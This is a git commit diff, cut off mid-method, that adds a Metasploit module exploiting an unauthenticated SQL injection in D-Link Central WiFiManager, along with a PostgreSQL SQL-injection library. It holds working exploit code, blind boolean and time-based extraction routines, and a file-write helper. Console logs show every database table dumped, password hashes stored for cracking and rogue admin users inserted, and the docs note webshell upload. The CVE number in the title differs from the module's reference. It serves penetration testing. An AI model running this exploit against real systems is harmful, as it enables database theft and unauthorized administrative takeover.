Land #14067, [GSoC] Module for CVE-2019-13375, and PostgreSQL support for the library
This commit is contained in:
commit
dbce3982fd
|
@ -0,0 +1,180 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a vulnerability in Dlink Central
|
||||||
|
WifiManager (CWM-100), found in versions lower than
|
||||||
|
v1.03R0100_BETA6, allowing unauthenticated users to
|
||||||
|
execute arbitary SQL queries.
|
||||||
|
|
||||||
|
This module has 3 actions:
|
||||||
|
|
||||||
|
| Action | Description |
|
||||||
|
| ------------- | -------------------------- |
|
||||||
|
| SQLI_DUMP | Data retrieval* |
|
||||||
|
| ADD_ADMIN | Creation of an admin user |
|
||||||
|
| REMOVE_ADMIN | Removal of an admin user |
|
||||||
|
|
||||||
|
\* : each table is saved in the loot directory in CSV format, credentials (password hashes) are saved as
|
||||||
|
creds for future cracking.
|
||||||
|
|
||||||
|
Has been tested with 1.03r098.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Download the vulnerable software, and install it
|
||||||
|
- Run the vulnerable software, downloadable from
|
||||||
|
[here](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117).
|
||||||
|
- direct download link:
|
||||||
|
`ftp://ftp2.dlink.com/SOFTWARE/CENTRAL_WIFI_MANAGER/CENTRAL_WI-FI_MANAGER_1.03.zip
|
||||||
|
2. Reproduction steps
|
||||||
|
- Run `msfconsole`
|
||||||
|
- set rhosts ...
|
||||||
|
- set action ...
|
||||||
|
- `check` or `exploit`
|
||||||
|
- should work as in the scenarios below
|
||||||
|
|
||||||
|
## Actions
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show actions
|
||||||
|
|
||||||
|
Auxiliary actions:
|
||||||
|
|
||||||
|
Name Description
|
||||||
|
---- -----------
|
||||||
|
ADD_ADMIN Add an administrator user
|
||||||
|
REMOVE_ADMIN Remove a user
|
||||||
|
SQLI_DUMP Retrieve all the data from the database
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show options
|
||||||
|
|
||||||
|
Module options (auxiliary/sqli/dlink/dlink_central_wifimanager_sqli):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
Admin_Password anything no The password of the user to add/edit
|
||||||
|
Admin_Username red0xff no The username of the user to add/remove
|
||||||
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||||
|
RHOSTS 192.168.1.223 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||||
|
RPORT 443 yes The target port (TCP)
|
||||||
|
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||||
|
TARGETURI / yes The base path to DLink CWM-100
|
||||||
|
VHOST no HTTP server virtual host
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
This module has both `check` and `run` functions.
|
||||||
|
|
||||||
|
### Retrieving all the data from the database
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action SQLI_DUMP
|
||||||
|
action => SQLI_DUMP
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set rhosts 192.168.1.223
|
||||||
|
rhosts => 192.168.1.223
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > check
|
||||||
|
|
||||||
|
[+] 192.168.1.223:443 - The target is vulnerable.
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||||
|
[*] Running module against 192.168.1.223
|
||||||
|
|
||||||
|
[+] Target seems vulnerable
|
||||||
|
[+] DBMS version: PostgreSQL 9.1.0, compiled by Visual C++ build 1500, 32-bit
|
||||||
|
[*] Enumerating tables
|
||||||
|
[+] grouptossltable saved to /home/redouane/.msf4/loot/20200828180148_default_192.168.1.223_dlink.http_187571.csv
|
||||||
|
[+] paypalsettingtable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_642251.csv
|
||||||
|
[+] ordertable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_944954.csv
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
[+] tempstationtable saved to /home/redouane/.msf4/loot/20200828180505_default_192.168.1.223_dlink.http_577215.csv
|
||||||
|
[+] Saved credentials for admin
|
||||||
|
[+] Saved credentials for red0xff
|
||||||
|
[+] usertable saved to /home/redouane/.msf4/loot/20200828180153_default_192.168.1.223_dlink.http_608945.csv
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
[+] devicesnmpsecuritytable saved to /home/redouane/.msf4/loot/20200828180154_default_192.168.1.223_dlink.http_825556.csv
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > creds
|
||||||
|
Credentials
|
||||||
|
===========
|
||||||
|
|
||||||
|
host origin service public private realm private_type JtR Format
|
||||||
|
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||||
|
192.168.1.223 admin 21232f297a57a5a743894a0e4a801fc3 Nonreplayable hash raw-md5
|
||||||
|
192.168.1.223 red0xff f0e166dc34d14d6c228ffac576c9a43c Nonreplayable hash raw-md5
|
||||||
|
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > loot
|
||||||
|
|
||||||
|
Loot
|
||||||
|
====
|
||||||
|
|
||||||
|
host service type name content info path
|
||||||
|
---- ------- ---- ---- ------- ---- ----
|
||||||
|
192.168.1.223 dlink.http biggrouptable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_360290.csv
|
||||||
|
192.168.1.223 dlink.http devicetable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_230830.csv
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
ult_192.168.1.223_dlink.http_878195.csv
|
||||||
|
192.168.1.223 dlink.http devicesnmpsecuritytable.csv application/csv /home/redouane/.msf4/loot/20200828180506_default_192.168.1.223_dlink.http_086271.csv
|
||||||
|
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding an admin user/changing the password of a user
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action ADD_ADMIN
|
||||||
|
action => ADD_ADMIN
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username msfadmin
|
||||||
|
Admin_Username => msfadmin
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfadmin
|
||||||
|
Admin_Password => msfadmin
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||||
|
[*] Running module against 192.168.1.223
|
||||||
|
|
||||||
|
[+] Target seems vulnerable
|
||||||
|
[*] User not found on the target, inserting
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfpassword
|
||||||
|
Admin_Password => msfpassword
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||||
|
[*] Running module against 192.168.1.223
|
||||||
|
|
||||||
|
[*] Trying to detect installed version
|
||||||
|
[+] Target seems vulnerable
|
||||||
|
[*] User already exists, updating the password
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deleting an administrator user
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action REMOVE_ADMIN
|
||||||
|
action => REMOVE_USER
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username red0xff
|
||||||
|
Admin_Username => red0xff
|
||||||
|
msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
|
||||||
|
[*] Running module against 192.168.1.223
|
||||||
|
|
||||||
|
[+] Target seems vulnerable
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
|
||||||
|
### Going further
|
||||||
|
|
||||||
|
It is possible to upload arbitary files to the target system using queries of the form
|
||||||
|
(copy ... to ...), but using full paths, the attacker must know the path of the webroot
|
||||||
|
to upload a webshell this way.
|
|
@ -0,0 +1,9 @@
|
||||||
|
#
|
||||||
|
# PostgreSQL injection
|
||||||
|
#
|
||||||
|
module Msf::Exploit::SQLi::PostgreSQLi
|
||||||
|
end
|
||||||
|
|
||||||
|
require 'msf/core/exploit/sqli/postgresqli/common'
|
||||||
|
require 'msf/core/exploit/sqli/postgresqli/boolean_based_blind'
|
||||||
|
require 'msf/core/exploit/sqli/postgresqli/time_based_blind'
|
|
@ -0,0 +1,18 @@
|
||||||
|
#
|
||||||
|
# Boolean-Based Blind SQL injection support for PostgreSQL
|
||||||
|
#
|
||||||
|
class Msf::Exploit::SQLi::PostgreSQLi::BooleanBasedBlind < Msf::Exploit::SQLi::PostgreSQLi::Common
|
||||||
|
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
|
||||||
|
# the values returned by the bloc for some boolean queries are correct.
|
||||||
|
# @return [Boolean] Whether the check determined that boolean-based blind SQL injection works
|
||||||
|
#
|
||||||
|
def test_vulnerable
|
||||||
|
out_true = blind_request('1=1')
|
||||||
|
out_false = blind_request('1=2')
|
||||||
|
out_true && !out_false
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,325 @@
|
||||||
|
require 'base64'
|
||||||
|
|
||||||
|
#
|
||||||
|
# This class represents a PostgreSQL Injection object, its primary purpose is to provide the common SQL queries
|
||||||
|
# needed when performing SQL injection.
|
||||||
|
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
|
||||||
|
#
|
||||||
|
module Msf::Exploit::SQLi::PostgreSQLi
|
||||||
|
class Common < Msf::Exploit::SQLi::Common
|
||||||
|
#
|
||||||
|
# Encoders supported by PostgreSQL
|
||||||
|
# Keys are function names, values are decoding procs in Ruby
|
||||||
|
#
|
||||||
|
ENCODERS = {
|
||||||
|
base64: {
|
||||||
|
encode: 'encode(^DATA^::bytea, \'base64\')',
|
||||||
|
decode: proc { |data| Base64.decode64(data) }
|
||||||
|
},
|
||||||
|
hex: {
|
||||||
|
encode: 'encode(^DATA^::bytea, \'hex\')',
|
||||||
|
decode: proc { |data| Rex::Text.hex_to_raw(data) }
|
||||||
|
}
|
||||||
|
}.freeze
|
||||||
|
|
||||||
|
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
|
||||||
|
#
|
||||||
|
# See SQLi::Common#initialize
|
||||||
|
#
|
||||||
|
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||||
|
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
|
||||||
|
# if it's a String or a Symbol, use a predefined encoder if it exists
|
||||||
|
opts[:encoder] = opts[:encoder].downcase.intern
|
||||||
|
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
|
||||||
|
end
|
||||||
|
opts[:concat_separator] ||= ','
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the PostgreSQL version
|
||||||
|
# @return [String] The PostgreSQL version in use
|
||||||
|
#
|
||||||
|
def version
|
||||||
|
call_function('version()')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the current database name
|
||||||
|
# @return [String] The name of the current database
|
||||||
|
#
|
||||||
|
def current_database
|
||||||
|
call_function('current_database()')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the current user
|
||||||
|
# @return [String] The username of the current user
|
||||||
|
#
|
||||||
|
def current_user
|
||||||
|
call_function('getpgusername()')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the names of all the existing databases
|
||||||
|
# @return [Array] An array of Strings, the database names
|
||||||
|
#
|
||||||
|
def enum_database_names
|
||||||
|
dump_table_fields('pg_database', %w[datname]).flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the names of the tables in a given database
|
||||||
|
# @param database [String] the name of a database, or a function call, defaults to public
|
||||||
|
# @return [Array] An array of Strings, the table names in the given database
|
||||||
|
#
|
||||||
|
def enum_table_names(database = 'public')
|
||||||
|
dump_table_fields('information_schema.tables', %w[table_name],
|
||||||
|
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the names of the views in the given database
|
||||||
|
# @param database [String] The name of a database, or a function call, defaults to public
|
||||||
|
# @return [Array] An array of Strings, the view names in the given database
|
||||||
|
#
|
||||||
|
def enum_view_names(database = 'public')
|
||||||
|
dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the PostgreSQL users (their username and password), this might require elevated privileges.
|
||||||
|
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and hashed password
|
||||||
|
#
|
||||||
|
def enum_dbms_users
|
||||||
|
# might require elevated privileges
|
||||||
|
dump_table_fields('pg_shadow', %w[usename passwd])
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the column names of the given table in the given database
|
||||||
|
# @param table_name [String] the name of the table of which you want to query the column names
|
||||||
|
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
|
||||||
|
#
|
||||||
|
def enum_table_columns(table_name)
|
||||||
|
if table_name.include?('.')
|
||||||
|
database, table_name = table_name.split('.')
|
||||||
|
else
|
||||||
|
database = 'public' # or current_database() ?
|
||||||
|
end
|
||||||
|
dump_table_fields('information_schema.columns', %w[column_name],
|
||||||
|
"table_name='#{table_name}' and " \
|
||||||
|
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Query the given columns of the records of the given table, that satisfy an optional condition
|
||||||
|
# @param table [String] The name of the table to query
|
||||||
|
# @param columns [Array] The names of the columns to query
|
||||||
|
# @param condition [String] An optional condition, return only the rows satisfying it
|
||||||
|
# @param limit [Integer] An optional maximum number of results to return
|
||||||
|
# @return [Array] An array, where each element is an array of strings representing a row of the results
|
||||||
|
#
|
||||||
|
def dump_table_fields(table, columns, condition = '', num_limit = 0)
|
||||||
|
return '' if columns.empty?
|
||||||
|
|
||||||
|
one_column = columns.length == 1
|
||||||
|
if one_column
|
||||||
|
columns = "coalesce(#{columns.first}::text,'#{@null_replacement}')"
|
||||||
|
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
|
||||||
|
else
|
||||||
|
columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
|
||||||
|
col = "coalesce(#{col}::text,'#{@null_replacement}')"
|
||||||
|
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
|
||||||
|
end.join(',') + ')'
|
||||||
|
end
|
||||||
|
unless condition.empty?
|
||||||
|
condition = ' where ' + condition
|
||||||
|
end
|
||||||
|
num_limit = num_limit.to_i
|
||||||
|
limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
|
||||||
|
retrieved_data = nil
|
||||||
|
if @safe
|
||||||
|
# no group_concat, leak one row at a time
|
||||||
|
row_count = run_sql("select count(1)::text from #{table}#{condition}").to_i
|
||||||
|
num_limit = row_count if num_limit == 0 || row_count < num_limit
|
||||||
|
retrieved_data = num_limit.times.map do |current_row|
|
||||||
|
if @truncation_length
|
||||||
|
truncated_query("select substr(#{columns}::text,^OFFSET^,#{@truncation_length}) from " \
|
||||||
|
"#{table}#{condition} limit 1 offset #{current_row}")
|
||||||
|
else
|
||||||
|
run_sql("select #{columns}::text from #{table}#{condition} limit 1 offset #{current_row}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
# if limit > 0, an alias will be necessary
|
||||||
|
if num_limit > 0
|
||||||
|
alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
|
||||||
|
if @truncation_length
|
||||||
|
retrieved_data = truncated_query('select substr(string_agg(' \
|
||||||
|
"#{alias1}, '#{@concat_separator}'),"\
|
||||||
|
"^OFFSET^,#{@truncation_length}) from (select #{columns}::text #{alias1} from #{table}"\
|
||||||
|
"#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
|
||||||
|
else
|
||||||
|
retrieved_data = run_sql("select string_agg(#{alias1}, '#{@concat_separator}')"\
|
||||||
|
" from (select #{columns}::text #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if @truncation_length
|
||||||
|
retrieved_data = truncated_query('select substr(string_agg(' \
|
||||||
|
"#{columns}::text, '#{@concat_separator}')," \
|
||||||
|
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
|
||||||
|
else
|
||||||
|
retrieved_data = run_sql("select string_agg(#{columns}::text, '#{@concat_separator}')" \
|
||||||
|
" from #{table}#{condition}#{limit}").split(@concat_separator || ',')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
retrieved_data.map do |row|
|
||||||
|
row = row.split(@second_concat_separator)
|
||||||
|
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks if the SQL injection is working, by checking that
|
||||||
|
# queries that should return known results return the results we expect from them
|
||||||
|
# @return [Boolean] Whether the check determined that the injection works
|
||||||
|
#
|
||||||
|
def test_vulnerable
|
||||||
|
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
|
||||||
|
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
|
||||||
|
run_sql("select '#{random_string}'") == random_string
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Writes data to a file on the target system
|
||||||
|
# @param fname [String] The full-path to the file where data will be written
|
||||||
|
# @param data [String] The data to write
|
||||||
|
# @return [void]
|
||||||
|
#
|
||||||
|
def write_to_file(fname, data)
|
||||||
|
raw_run_sql("copy (select '#{data}') to '#{fname}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
#
|
||||||
|
# Helper method used in cases where the response is truncated.
|
||||||
|
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
|
||||||
|
# @return [String] The query result
|
||||||
|
#
|
||||||
|
def truncated_query(query)
|
||||||
|
result = [ ]
|
||||||
|
offset = 1
|
||||||
|
loop do
|
||||||
|
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
|
||||||
|
offset += @truncation_length # should be same as @truncation_length for most cases
|
||||||
|
result << slice
|
||||||
|
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
|
||||||
|
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
|
||||||
|
break if slice.length < @truncation_length
|
||||||
|
end
|
||||||
|
result.join
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks the options specific to PostgreSQL
|
||||||
|
# @return [void]
|
||||||
|
#
|
||||||
|
def check_opts(opts)
|
||||||
|
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
|
||||||
|
raise ArgumentError, 'Unsupported encoder'
|
||||||
|
end
|
||||||
|
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the output of a PostgreSQL function call
|
||||||
|
# @param function [String] The function call, function_name(arguments...)
|
||||||
|
# @return [String] What the function call returns
|
||||||
|
#
|
||||||
|
def call_function(function)
|
||||||
|
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
|
||||||
|
output = nil
|
||||||
|
if @truncation_length
|
||||||
|
output = truncated_query("select substr(#{function},^OFFSET^,#{@truncation_length})")
|
||||||
|
else
|
||||||
|
output = run_sql("select #{function}")
|
||||||
|
end
|
||||||
|
output = @encoder[:decode].call(output) if @encoder
|
||||||
|
output
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the length of the data that query should return, this is used in blind SQL injections
|
||||||
|
# @param query [String] The SQL query to execute
|
||||||
|
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
|
||||||
|
# @return [Integer] The length of the data that query should return
|
||||||
|
#
|
||||||
|
def blind_detect_length(query, timebased)
|
||||||
|
if_function = ''
|
||||||
|
sleep_part = ''
|
||||||
|
if timebased
|
||||||
|
if_function = '1=(case when ' + if_function
|
||||||
|
sleep_part += " then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)"
|
||||||
|
end
|
||||||
|
i = 0
|
||||||
|
output_length = 0
|
||||||
|
loop do
|
||||||
|
output_bit = blind_request("#{if_function}length((#{query})::bytea)&#{1 << i}<>0#{sleep_part}")
|
||||||
|
output_length |= (1 << i) if output_bit
|
||||||
|
i += 1
|
||||||
|
stop = blind_request("#{if_function}length((#{query})::bytea)/#{1 << i}=0#{sleep_part}")
|
||||||
|
break if stop
|
||||||
|
end
|
||||||
|
output_length
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections
|
||||||
|
# @param query [String] The SQL query the user wants to execute
|
||||||
|
# @param length [Integer] The expected length of the output of the result of the SQL query
|
||||||
|
# @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
|
||||||
|
# @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
|
||||||
|
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
|
||||||
|
# @return [String] The query result
|
||||||
|
#
|
||||||
|
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
|
||||||
|
if_function = ''
|
||||||
|
sleep_part = ''
|
||||||
|
if timebased
|
||||||
|
if_function = '1=(case when ' + if_function
|
||||||
|
sleep_part += " then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)"
|
||||||
|
end
|
||||||
|
output = length.times.map do |j|
|
||||||
|
current_character = known_bits
|
||||||
|
bits_to_guess.times do |k|
|
||||||
|
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
|
||||||
|
output_bit = blind_request("#{if_function}get_bit((#{query})::bytea, #{j * 8 + k})<>0#{sleep_part}")
|
||||||
|
current_character |= (1 << k) if output_bit
|
||||||
|
end
|
||||||
|
current_character.chr
|
||||||
|
end.join
|
||||||
|
output
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Encodes strings in the query string as hexadecimal numbers
|
||||||
|
# @param query [String] an SQL query
|
||||||
|
# @return [String] The input query, where strings are replaced by hex sequences
|
||||||
|
#
|
||||||
|
def hex_encode_strings(query)
|
||||||
|
# for more encoding capabilities, run code at the beginning of your block
|
||||||
|
# known issue: escaped quotes, \', detected as being string terminators
|
||||||
|
query.gsub(/'[^']*?'/) do |match|
|
||||||
|
if match.length == 2
|
||||||
|
%w[left right].sample + "(chr(#{rand(1..255)}),0)"
|
||||||
|
else
|
||||||
|
match[1..-2].each_codepoint.map { |c| "chr(#{c})" }.join('||')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,18 @@
|
||||||
|
#
|
||||||
|
# Time-Based Blind SQL injection support for PostgreSQL
|
||||||
|
#
|
||||||
|
class Msf::Exploit::SQLi::PostgreSQLi::TimeBasedBlind < Msf::Exploit::SQLi::PostgreSQLi::Common
|
||||||
|
include Msf::Exploit::SQLi::TimeBasedBlindMixin
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method checks if the target is vulnerable to Blind time-based injection by checking if
|
||||||
|
# the target sleeps only when a given condition is true, and doesn't when it's false.
|
||||||
|
# @return [Boolean] Whether the check confirmed that the time-based SQL injection works
|
||||||
|
#
|
||||||
|
def test_vulnerable
|
||||||
|
out_true = blind_request("1=(case when 1=1 then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)")
|
||||||
|
out_false = blind_request("1=(case when 1=2 then (select 1 from pg_sleep(#{datastore['SqliDelay']})) else 1 end)")
|
||||||
|
out_true && !out_false
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,184 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'csv'
|
||||||
|
require 'digest'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::SQLi
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'D-Link Central WiFiManager SQL injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a SQLi vulnerability found in
|
||||||
|
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
|
||||||
|
vulnerability is an exposed API endpoint that allows the execution
|
||||||
|
of SQL queries without authentication, using this vulnerability, it's
|
||||||
|
possible to retrieve usernames and password hashes of registered users,
|
||||||
|
device configuration, and other data, it's also possible to add users,
|
||||||
|
or edit database informations.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'M3@ZionLab from DBAppSecurity',
|
||||||
|
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2019-13373'],
|
||||||
|
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
|
||||||
|
],
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
[ 'SQLI_DUMP', 'Description' => 'Retrieve all the data from the database' ],
|
||||||
|
[ 'ADD_ADMIN', 'Description' => 'Add an administrator user' ],
|
||||||
|
[ 'REMOVE_ADMIN', 'Description' => 'Remove an administrator user' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' => { 'SSL' => true },
|
||||||
|
'DefaultAction' => 'SQLI_DUMP',
|
||||||
|
'DisclosureDate' => 'Jul 06 2019'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
|
||||||
|
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
|
||||||
|
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def vulnerable_request(payload)
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
|
||||||
|
'vars_post' => {
|
||||||
|
'dbAction' => 'S',
|
||||||
|
'dbSQL' => payload
|
||||||
|
}
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_error = nil
|
||||||
|
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
|
||||||
|
res = vulnerable_request(payload)
|
||||||
|
if res && res.code == 200
|
||||||
|
res.body[%r{<column>(.+)</column>}m, 1] || ''
|
||||||
|
else
|
||||||
|
if res
|
||||||
|
check_error = Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
|
||||||
|
end
|
||||||
|
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
|
||||||
|
end
|
||||||
|
end
|
||||||
|
vulnerable_test = sqli.test_vulnerable
|
||||||
|
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_data(sqli)
|
||||||
|
print_good "DBMS version: #{sqli.version}"
|
||||||
|
table_names = sqli.enum_table_names
|
||||||
|
print_status 'Enumerating tables'
|
||||||
|
table_names.each do |table_name|
|
||||||
|
cols = sqli.enum_table_columns(table_name)
|
||||||
|
vprint_good "#{table_name}(#{cols.join(',')})"
|
||||||
|
# retrieve the data from the table
|
||||||
|
content = sqli.dump_table_fields(table_name, cols)
|
||||||
|
# store hashes as credentials
|
||||||
|
if table_name == 'usertable'
|
||||||
|
user_ind = cols.index('username')
|
||||||
|
pass_ind = cols.index('userpassword')
|
||||||
|
content.each do |entry|
|
